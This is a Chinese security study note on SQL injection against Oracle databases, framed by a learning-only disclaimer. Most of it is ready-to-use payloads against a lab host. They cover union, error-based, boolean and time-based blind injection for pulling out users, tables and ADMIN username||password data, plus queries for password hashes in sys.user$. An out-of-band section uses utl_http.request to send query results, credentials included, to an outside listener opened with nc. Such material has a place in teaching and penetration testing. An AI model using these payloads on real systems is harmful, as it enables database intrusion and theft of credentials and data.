WEB安全之:Oracle 数据库 SQL 注入
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL 注入:Oracle 数据库
Oracle 数据库是目前世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系型数据库,它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。
- 数据文件(dbf)
ORACLE8i 之前数据文件的后缀名为
.ora
,之后为.dbf
,实际使用没任何区别
数据文件是数据库的物理存储单位。数据库的数据是存储在表空间中的,真正是在某一个或者多个数据文件中,而一个表空间可以由一个或多个数据文件组成,一个数据文件只能属于一个表空间。一旦数据文件被加入到某个表空间后,就不能删除这个文件,如果要删除某个数据文件,只能删除其所属于的表空间才行。
- 表空间
表空间是 Oracle 对物理数据库上相关数据文件(ORA 或者 DBF 文件)的逻辑映射。一个数据库在逻辑上被划分成一到若干个表空间,每个表空包含了在逻辑上相关联的一组结构。每个数据库至少有一个表空间(称之为 system 表空间)。每个表空间由同一磁盘上的一个或多个文件组成,这些文件叫数据库文件(datafile)。
- 用户
用户是在实例下建立的。不同实例中可以建相同名字的用户。注:表的数据,是由用户放入某一个表空间的,而这个表空间会随机把这些表数据放到一个或者多个数据文件中。Oracle 是由用户和表空间对数据进行管理和存放的,并以用户来区分,因此表不是由表空间去查询的,而是由用户去查的。因为不同用户可以在同一个表空间建立同一个名字的表!
- 数据库和实例
Oracle 数据库服务器由一个数据库(database)和至少一个数据库实例(instance)组成。 数据库是一组存储数据的文件,而数据库实例则是管理数据库文件的内存结构。此外,数据库是由后台进程组成。数据库和实例是紧密相连的,所以我们一般说的 Oracle 数据库,通常指的就是实例和数据库。
1 Oracle 数据库 SQL 注入基础知识
- 端口号:1521
1.1 Oracle 特性
1.1.1 dual 表
- Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用 dual;
- dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,任何用户均可读取
- Oracle 保证 dual 里面永远只有一条记录
1.1.2 null 类型
- Oracle 处理表字段的类型比较严谨,查询时可以使用 null 匹配任意类型
1.2 ||
连接运算符
- 在 Oracle中,
||
运算符可以将两个或两个以上的字符串连接在一起。 - 支持
||
运算符的 Oracle 版本:Oracle 12c、 Oracle 11g、 Oracle 10g、Oracle 9i
select username||password from admin
1.3 注释符号
1. --(单行注释)
2. /* 多行注释 */
1.4 Oracle 注入常用语句及函数
1. 查询 Oracle 版本信息
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
2. 获取当前数据库用户
SELECT user FROM dual;
3. 列出所有用户
SELECT name FROM sys.user$; — priv;
SELECT username FROM all_users ORDER BY username;
4. 列出用户与密码
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g
# astatus能够在 acct 被锁定的状态下给你反馈
SELECT name,spare4 FROM sys.user$ — priv; 11g
5. 获取当前用户权限
SELECT * FROM session_privs;
6. 获取所有用户权限
SELECT * FROM dba_sys_privs -- priv;
7. 获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
8. 列出 DBA 账户
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;
9. 获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual;
10. 获取 DB 文件路径
SELECT name FROM V$DATAFILE;
11. 查询服务器 SID
select instance_name from v$instance;
12. 查询当前连接用户
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual
13. 限制查询返回的总行数为一条
rownum=1
14. 查询出所有的表
select * from all_tables
15. 查询出当前用户的表
select * from user_tables
16. 查询出所有的字段
select * from all_tab_columns
17. 查询出当前用户的字段
select * from user_tab_columns
18. 查询日志文件路径
select member from v$logfile
2 注入检测方法
2.1 正常查询方法
通过正常查询观察可注入点;
2.2 基于闭合报错的检测方法
一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接在可注入点输入一个单引号'
数据库因为多输入字符导致无法闭合而报错;
Oracle 中,双引号
"
用来消除系统关键字。
javax.servlet.ServletException: java.sql.SQLSyntaxErrorException: ORA-01756: 引号内的字符串没有正确结束
2.3 基于布尔的检测方法
基于页面返回的信息是否相同的检测方法判断,再进一步确认服务端是否可执行
and 1=1
and 1=2
2.4 基于时间的检测方法
dbms_pipe.receive_message('RDS', 3)
函数将为从RDS管道返回的数据等待 3 秒。此语句能以内联方式注入延迟。默认情况下,允许以 public 权限执行该包。DBMS_LOCK.SLEEP()
函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用 DBMS_LOCK 包
and dbms_pipe.receive_message('RDS', 3)=1
例:
http://oracle.lab.com/oraclei.jsp?id=1 and dbms_pipe.receive_message('RDS', 3)=1
3 Oracle 查询信息
3.1 Union
联合查询注入方法
3.1.1 猜测表字段数
order by 1
:查询当前表中包含几个字段,数字变换尝试,
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' order by 3--
# order by 3 正常显示,order by 4 不正常显示,说明有 3 列。此时可以使用 select NULL,NULL from dual 查询数据
3.1.2 查询系统信息
- 使用
union select null,null,查询函数
查询数据库系统信息 - 与 Mysql 数据库不同,Oracle 使用联合查询进要求每一列的查询内容类型要与数据库字段类型一致。
- Oracle 数据库中,所有字段均支持 null (空值),因此可以使用 null 来填充查询字段。
1. 查询内容与数据库字段类型不一致报错
例: http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,(select banner from sys.v_$version where rownum=1) from dual--
# javax.servlet.ServletException: java.sql.SQLSyntaxErrorException: ORA-01789: 查询块具有不正确的结果列数
2. 查询数据库版本信息
select banner from sys.v_$version where rownum=1
例:http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select banner from sys.v_$version where rownum=1) from dual--
3.1.3 查询用户名称
- Oracle 中当前表所属用户,相当于当前库
1. 查询当前用户
SELECT user FROM dual
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(SELECT user FROM dual) from dual--
- 查询其他用户名
1. 查询所有用户个数
select count(DISTINCT owner) from all_tables
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select (select count(DISTINCT owner) from all_tables),null,null from dual--
2. 查询第一个用户名称
select DISTINCT owner from all_tables where rownum=1
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select DISTINCT owner from all_tables where rownum=1) from dual--
3. 查询第三个用户名称
select DISTINCT owner from all_tables where rownum=1 and owner <>'SYS'and owner<>'SYSTEM'
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select DISTINCT owner from all_tables where rownum=1 and owner <>'SYS' and owner<>'SYSTEM') from dual--
3.1.4 查询表名称
方式一:
1. 查询当前数据库中表的个数
select count(*) from user_tables
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select (select count(*) from user_tables),null,null from dual--
2. 查询当前第一个表名称
select table_name from user_tables where rownum=1
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select table_name from user_tables where rownum=1) from dual--
3. 查询当前第三个表的名称,表名称一定要大写。
select table_name from user_tables where rownum=1 and table_name <>'ADMIN' and table_name<>'BONUS'
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select table_name from user_tables where rownum=1 and table_name <>'ADMIN' and table_name<>'BONUS') from dual--
方式二:
1. 查询指定用户名 SYS 中的表个数
select count(*) from all_tables where owner='SYS'
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select (select count(*) from all_tables where owner='SYS'),null,null from dual--
2. 查询用户名 SYS 中第一个表名称
select table_name from all_tables where owner='SYS' and rownum=1
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select table_name from all_tables where owner='SYS' and rownum=1) from dual--
3. 查询用户名 SYS 中第三个表名称
select table_name from all_tables where owner='SYS' and rownum=1 and table_name<>'AUDIT_ACTIONS' and table_name<>'AW$AWCREATE'
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select table_name from all_tables where owner='SYS' and rownum=1 and table_name<>'AUDIT_ACTIONS' and table_name<>'AW$AWCREATE') from dual--
3.1.5 查询表字段
1. 查询当前数据库指定 ADMIN 表的字段个数
select count(*) from user_tab_columns where table_name='ADMIN'
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select (select count(*) from user_tab_columns where table_name='ADMIN'),null,null from dual--
2. 查询当前数据库指定 ADMIN 表第一个字段名称
select column_name from user_tab_columns where table_name='ADMIN' and rownum=1
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1) from dual--
3. 查询当前数据库指定 ADMIN 表第三个字段名称
select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1) from dual--
3.1.6 查询数据内容
1. 查询 DEPT 表数据个数, 忘记 ADMIN 表数据只有一行不够测
select count(*) from DEPT
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select (select count(*) from DEPT),null,null from dual--
2. 查询 ADMIN 表第一个数据
select concat(DNAME,LOC) from DEPT where rownum=1
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select concat(DNAME,LOC) from DEPT where rownum=1) from dual--
3. 查询 ADMIN 表第二个数据
select concat(DNAME,LOC) from DEPT where rownum=1 and DNAME<>'ACCOUNTING'
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select concat(DNAME,LOC) from DEPT where rownum=1 and DNAME<>'ACCOUNTING') from dual--
3.2 报错注入
Oracle 中的报错函数:
-
dbms_xdb_version.checkin()
函数:此函数检入签出的 VCR 并返回新创建版本的资源 ID。-
语法: DBMS_XDB_VERSION.CHECKIN(pathname VARCHAR2) -- RETURN DBMS_XDB.resid_type; -- pathname: 签出资源的路径名。
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
-
-
dbms_xdb_version.uncheckout()
函数:用法与checkin一致and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
-
dbms_xdb_version.makeversioned()
函数:用法与checkin一致and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
-
dbms_utility.sqlid_to_sqlhash()
函数:用法与checkin一致and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
-
ctxsys.drithsx.sn()
函数:处理文本的函数,传入参数错误的时会报错返回异常,11g中可以使用此函数来提取错误消息中的信息and 1=ctxsys.drithsx.sn(1,(select user from dual)) 例: http://oracle.lab.com/oraclei.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))
-
XMLType()
函数:XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据。1. 返回数据不含空格 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null 2. 返回数据包含空格 and (select upper(XMLType(chr(60)||chr(58)||replace((select user from dual),' ','-')||chr(62))) from dual) is not null /* 注: 1. 调用的时候必须以<:开头和>结尾,即 '<:'||查询语句||'>' 或者 chr(60)||查询语句||chr(62);需要对 || 进行 Hex 编码。 2. 如果返回的数据种有空格的话,会自动截断,导致数据不完整,这种情况下需要先编码为 Hex,再导出(或者有 replace 函数替换成其他非空字符) */ 例: 1. 返回数据不含空格 http://oracle.lab.com/oraclei.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null 2. 返回娄扩包含空格 http://oracle.lab.com/oraclei.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7creplace((select banner from sys.v_$version where rownum=1),' ','-')%7c%7cchr(62))) from dual) is not null
-
bms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
-
dbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
-
dbms_utility.sqlid_to_sqlhash()
and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
-
ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) 例: http://oracle.lab.com/oraclei.jsp?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
-
CTXSYS.CTX_REPORT.TOKEN_TYPE
:用于处理文本,将英文名称转换为数字标记类型。也会出现参数错误返回异常-
function token_type( index_name in varchar2, type_name in varchar2 ) return number; TOKEN_TYPE_TEXT constant number := 0; TOKEN_TYPE_THEME constant number := 1; TOKEN_TYPE_ZONE_SEC constant number := 2; TOKEN_TYPE_ORIG constant number := 3, TOKEN_TYPE_ATTR_TEXT constant number := 4; TOKEN_TYPE_ATTR_SEC constant number := 5; TOKEN_TYPE_PREFIX constant number := 6; TOKEN_TYPE_PATH_SEC constant number := 7; TOKEN_TYPE_PATH_ATTR constant number := 8; TOKEN_TYPE_STEM constant number := 9;
and (select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '0') from dual) is not null 例: http://oracle.lab.com/oraclei.jsp?id=1 and (select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '0') from dual) is not null
-
-
utl_inaddr.get_host_name()
utl_inaddr.get_host_name
:在11g之前不需要任何权限,在11g之后当前的数据库用户必须有网络访问权限
and 1=utl_inaddr.get_host_name((select user from dual)) 例: http://oracle.lab.com/oraclei.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))
-
utl_inaddr.get_host_address()
http://oracle.lab.com/oraclei.jsp?id=1 and 1=utl_inaddr.get_host_address((select user from dual))
3.3 利用 Decode()
函数查询
decode
,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。decode(expression,value,result1,result2)
:如果expression=value,输出 result1,否则输出 result2
3.3.1 查询用户名
# 假设用户名为 SYSTEM
1. 获取用户名长度
and (select length(user) from dual)=6
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length(user) from dual)=6
2. 逐字猜解法确定用户名
and (select decode(substr(user,1,1),'S',(1/0),0) from dual)=1
例:逐字猜解法确定
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr(user,1,1),'S',(1/0),0) from dual)=1
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr(user,2,1),'Y',(1/0),0) from dual)=1
3.3.2 查询表名
1. 确定表名个数
and (select count(*) from user_tables)=158
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select count(*) from user_tables)=158
1. 查询表名长度
and (select length(select table_name from user_tables where rownum=1) from dual)=22
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length((select table_name from user_tables where rownum=1)) from dual)=22
2. 逐字猜解法确定表名
and (select decode(substr((select table_name from user_tables where rownum=1),1,1),'L',(1/0),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select table_name from user_tables where rownum=1),1,1),'L',(1/0),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select table_name from user_tables where rownum=1),2,1),'O',(1/0),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select table_name from user_tables where rownum=1),3,1),'G',(1/0),0) from dual) is not null
3.3.3 查询表字段名称
# 假设表名为 ADMIN
1. 查询表字段个数
http://oracle.lab.com/oraclei.jsp?id=1 and (select count(*) from user_tab_columns where table_name='ADMIN')=3
2. 确定所要查询字段名称长度
and (select length((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1)) from dual) =2
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1)) from dual) =2
3. 查询表字段名称
and (select decode(substr((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),1,1),'I',(1/0),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),1,1),'I',(1/0),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),2,1),'D',(1/0),0) from dual) is not null
3.3.4 查询数据
1. 查询数据长度
and (select length((select username from ADMIN where rownum=1)) from dual) =5
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length((select username from ADMIN where rownum=1)) from dual) =5
2. 查询数据内容
and (select decode(substr((select username from ADMIN where rownum=1),1,1),'a',(1/0),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select username from ADMIN where rownum=1),1,1),'a',(1/0),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select username from ADMIN where rownum=1),2,1),'d',(1/0),0) from dual) is not null
3.3.5 使用连接运算符
and (select decode(substr((select username||password from ADMIN where rownum=1),2,1),'d',(1/0),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select username%7c%7cpassword from ADMIN where rownum=1),2,1),'d',(1/0),0) from dual) is not null
3.3.6 使用 ASCII()
函数,利用二分法猜解
and (select ascii(substr(username%7c%7cpassword,1,1)) from ADMIN where rownum=1)=97
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select ascii(substr(username%7c%7cpassword,1,1)) from ADMIN where rownum=1)>97
3.4 延时注入(盲注)
dbms_pipe.receive_message('RDS', 3)
函数将为从 RDS 管道返回的数据等待 3 秒。此语句能以内联方式注入延迟。默认情况下,允许以 public 权限执行该包。
3.4.1 查询用户名
# 假设用户名为 SYSTEM
1. 获取用户名长度
and (select length(user) from dual)=6
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length(user) from dual)=6
2. 逐字猜解法确定用户名
and (select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
例:逐字猜解法确定
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr(user,2,1),'Y',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
3.4.2 查询表名
1. 确定表名个数
and (select count(*) from user_tables)=158
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select count(*) from user_tables)=158
1. 查询表名长度
and (select length(select table_name from user_tables where rownum=1) from dual)=22
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length((select table_name from user_tables where rownum=1)) from dual)=22
2. 逐字猜解法确定表名
and (select decode(substr((select table_name from user_tables where rownum=1),1,1),'L',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select table_name from user_tables where rownum=1),1,1),'L',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select table_name from user_tables where rownum=1),2,1),'O',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select table_name from user_tables where rownum=1),3,1),'G',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
3.4.3 查询表字段名称
# 假设表名为 ADMIN
1. 查询表字段个数
http://oracle.lab.com/oraclei.jsp?id=1 and (select count(*) from user_tab_columns where table_name='ADMIN')=3
2. 确定所要查询字段名称长度
and (select length((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1)) from dual) =2
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1)) from dual) =2
3. 查询表字段名称
and (select decode(substr((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),1,1),'I',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),1,1),'I',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),2,1),'D',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
3.4.4 查询数据
1. 查询数据长度
and (select length((select username from ADMIN where rownum=1)) from dual) =5
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select length((select username from ADMIN where rownum=1)) from dual) =5
2. 查询数据内容
and (select decode(substr((select username from ADMIN where rownum=1),1,1),'a',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select username from ADMIN where rownum=1),1,1),'a',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select username from ADMIN where rownum=1),2,1),'d',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
3.4.5 使用连接运算符
and (select decode(substr((select username||password from ADMIN where rownum=1),2,1),'d',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
例:
http://oracle.lab.com/oraclei.jsp?id=1 and (select decode(substr((select username%7c%7cpassword from ADMIN where rownum=1),2,1),'d',dbms_pipe.receive_message('RDS',3),0) from dual) is not null
3.5 带外查询(反弹注入)
3.5.1 utl_http.request()
- 使用 Oracle 发送 HTTP 请求,需要先搭建 ORACLE 数据库可以访问的 WEB 服务器,并记录请求的日志信息,然后使用
utl_http.request()
向外网主机发送 http 请求,请求便携带了查询的结果信息。 - 通过
utl_http.request()
我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http
访问网络的权限。 - 本地可以使用如
NC -vlp 10086
监听远程 ORACLE 数据库主机所发过来的请求。前提是网络与目标端口可达。 - NC下载地址:GitHub - diegocr/netcat: NetCat for Windows
1. 确认目标服务器是否支持 utl_http.request
and exists (select count(*) from all_objects where object_name='UTL_HTTP')
例:
http://oracle.lab.com/oraclei.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')
2. 本地收集 ORACLE 数据库信息的主机:
NC -vLp 10086
3. 通过 WEB 控制远程 ORACLE 数据库主机发送请求
and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1
注:|| 连接运算符发送前需要编码
3.5.1.1 实例
1. 查询当前数据库版本
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select banner from sys.v_$version where rownum=1))=1
2. 查询当前用户信息
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select user from dual))=1
3. 查询服务器监听 IP
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select utl_inaddr.get_host_address from dual))=1
4. 查询日志文件位置
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select member from v$logfile where rownum=1))=1
5.查询数据库文件存放路径
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select name from V$DATAFILE where rownum=1))=1
6. 查询服务器 SID
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select instance_name from v$instance))=1
7. 查询当前连接用户
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1
8. 查询表数据内容
http://oracle.lab.com/oraclei.jsp?id=1 and utl_http.request('http://192.168.100.1:10086/'%7c%7c(select username%7c%7c password from ADMIN where rownum=1))=1